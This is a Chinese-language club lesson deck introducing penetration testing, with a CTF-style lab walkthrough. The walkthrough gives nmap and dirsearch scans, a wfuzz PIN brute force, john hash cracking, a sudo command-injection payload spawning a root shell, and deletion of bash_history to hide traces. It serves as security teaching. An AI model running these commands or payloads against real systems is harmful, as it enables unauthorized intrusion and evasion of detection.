# 實中資研社社課
# 滲透測試從 0 到 1
---
### 廣告時間
----
### 國雲網路
我們很多機器都是透過他們的vps架設的

----
### 七維思資安
社團dc裡面那位熱心的飛飛老師的資安教育公司

---
### 免責聲明
:::info
自本社團活動中所學習的工具、弱點、攻擊手法等僅供資安知識的學習,若在課程後想做相關練習,請在合法的CTF平台上進行測試。
如對外有相關攻擊行為,皆與授課講師以及實驗中學資訊研究社無關。
:::
不要去犯法喔><
---
### 滲透測試是什麼?
----
Fwd from wikipedia:
:::info
是**經過授權**,對電腦系統進行的模擬網路攻擊,用於評估系統的安全性,為了證明網路防禦按照預期計劃正常執行而提供的一種機制。
:::
----
### 剛柔並濟
1.劇烈的攻擊(剛)
2.不影響服務(柔)
---
### 箱子
----
- 白箱:知悉服務所有資訊(通常是獲得原始檔案)
- 灰箱:知悉服務部分資訊
- 黑箱:完全不清楚服務資訊
---
### 流程
----
```mermaid
graph TD;
信息蒐集-->漏洞利用;
漏洞利用-->權限提升;
權限提升-->權限穩固;
權限穩固-->善後/痕跡清除 & 報告撰寫;
```
---
### 情資蒐集(RECON)
----
- 端口掃描
- 路徑掃描
- 子網域域掃描
- 公開情資蒐集(OSINT)
----
端口掃描
- nmap
- rustscan
23.146.248.13:?????
----
路徑掃描
- dirb
- dirsearch
- dirbuster
- gobuster
http://23.146.248.13/path_to_search
----
公開情資蒐集
- google hacking
- shodan
- ~~通靈~~
----
其他
- enum4linux
- 奇奇怪怪很多.....
---
### 漏洞利用(EXPLOIT)
----
```mermaid
graph TD;
漏洞利用-->WEB & PWN;
WEB-->常見漏洞利用 & 1-DAY漏洞利用 & 密碼猜解 & 取得服務檔案(變成打白箱);
PWN-->1-DAY漏洞利用 & 取得服務檔案(變成打白箱) & FUZZ;
```
----
1 DAY漏洞利用
- GOOGLE
- CVE
- EXPLOITDB
https://www.exploit-db.com/
----
密碼猜解
- hydra(ftp/ssh/http auth都可以)
- wfuzz(專用於web)
- john/hashcat(for hashes)
----
打白箱
- 透過ftp/smb抓檔案
- 結合其他漏洞
---
### 權限提升
----
Linux
- SUDO提權
- SUID/GUID/UID提權
- 1 DAY 利用
----
好工具:
- LinEnum
- LinPeas
----
Windows
比linux複雜,不在這次課程範圍
```
Winpeas
WinEnum
potato家族
```
----
NetWork
- wifi
- AD
- ldap...
---
### Lab 1
Lifer
---
### Lab IP:
23.146.248.13
---
### RECON
----
端口掃描 (nmap):
```bash
nmap -sC -sV -PN 23.146.248.13
```

port 22 - ssh
port 8080 - http
----
\*小知識
ssh是遠端登錄服務
登陸後可以直接取得本機shell權限
----
http 網頁服務
port 8080

----
路徑爆破 (dirsearch):
```bash
dirsearch --url http://23.146.248.13:8080/
```

---
Exploit
----
造訪剛剛發現的`/backup`路徑
發現要輸入四位數pin碼

----
打開f12開發人員工具的network選項
發現送出的參數為 pin
而輸入錯誤會有`Invalid PIN...`的警告

----
撰寫python腳本生成0000~9999
```py
f=open('0000_9999.txt', 'wb')
for i in range(0, 10000):
f.write(str(i).encode().rjust(4, b'0')+b'\n')
f.close()
```
----
利用wfuzz密碼猜解工具進行攻擊
```bash
wfuzz -u 'http://23.146.248.13:8080/backup' -d 'pin=FUZZ' -w 0000_9999.txt --hs 'Invalid PIN'
```

----
輸入剛剛的密碼,進到下載備份的頁面
下載後在kali linux內打開`blog.db`
點選users的table,右鍵選擇 browse database

發現使用者密碼hash
將其存入hash.txt
----
\*字典攻擊
利用密碼猜解工具john進行離線hash破譯
```bash
john hash.txt --wordlist=~/rockyou.txt --format=Raw-md5
```

----
成功破解whale密碼,利用他登入SSH成功
```bash
ssh whale@23.146.248.13
```
註:現實世界要保證hash安全性通常會幫他撒鹽
HASH(KEY+PASSWORD)
---
### 提權
----
權限檢查
```bash
sudo -l
```

可以以root的身分執行 /home/whale/check_sql.py
----
Code Review
檢查這隻代碼會發現command injection的洞

----
構造一下字串
*看圖說故事*
`"]; then /bin/bash ; fi #`
```bash
if [ -f ""]; then /bin/bash ; fi #" ]; then echo "File exists: "]; then /bin/bash ; fi #";fi
```
----
Payload
```bash
sudo ./check_sql.py --sql='"]; then /bin/bash ; fi #'
```
----
提權成功!!!

最後痕跡清除可以再次登入ssh後
rm .bash_history
把bash history清除
---
### 怎麼寫 write up?
----
> 講明服務/題目名稱,寫清楚每個階段
> 把payload貼上來並解釋為什麼可以這樣做
> 最後附上完整截圖
---
# LAB 2
https://iced-miru.onrender.com/

----
### TIP 1
網站有沒有用什麼套件?
exploit-db.com 是好工具
註:有時候用 Google 查比較多
----
### TIP 2
Reverse shell
https://www.revshells.com/

----
### TIP 3
linpeas 權限檢查

https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS
----
### TIP 4
找到可能提權的利用點?
GTFOBins
https://gtfobins.github.io/gtfobins/find/
:::info
什麼是suid?
就是允許其他使用者以檔案擁有者權限執行該檔案
:::
(註:本機器的SUID洞目前壞了,修理中= =)
{"title":"實中資研社社課 滲透測試從 0 到 1","description":"我們很多機器都是透過他們的vps架設的image","contributors":"[{\"id\":\"4aa04276-c8ec-490d-a620-ec3b4e8e3d7c\",\"add\":4967,\"del\":511}]"}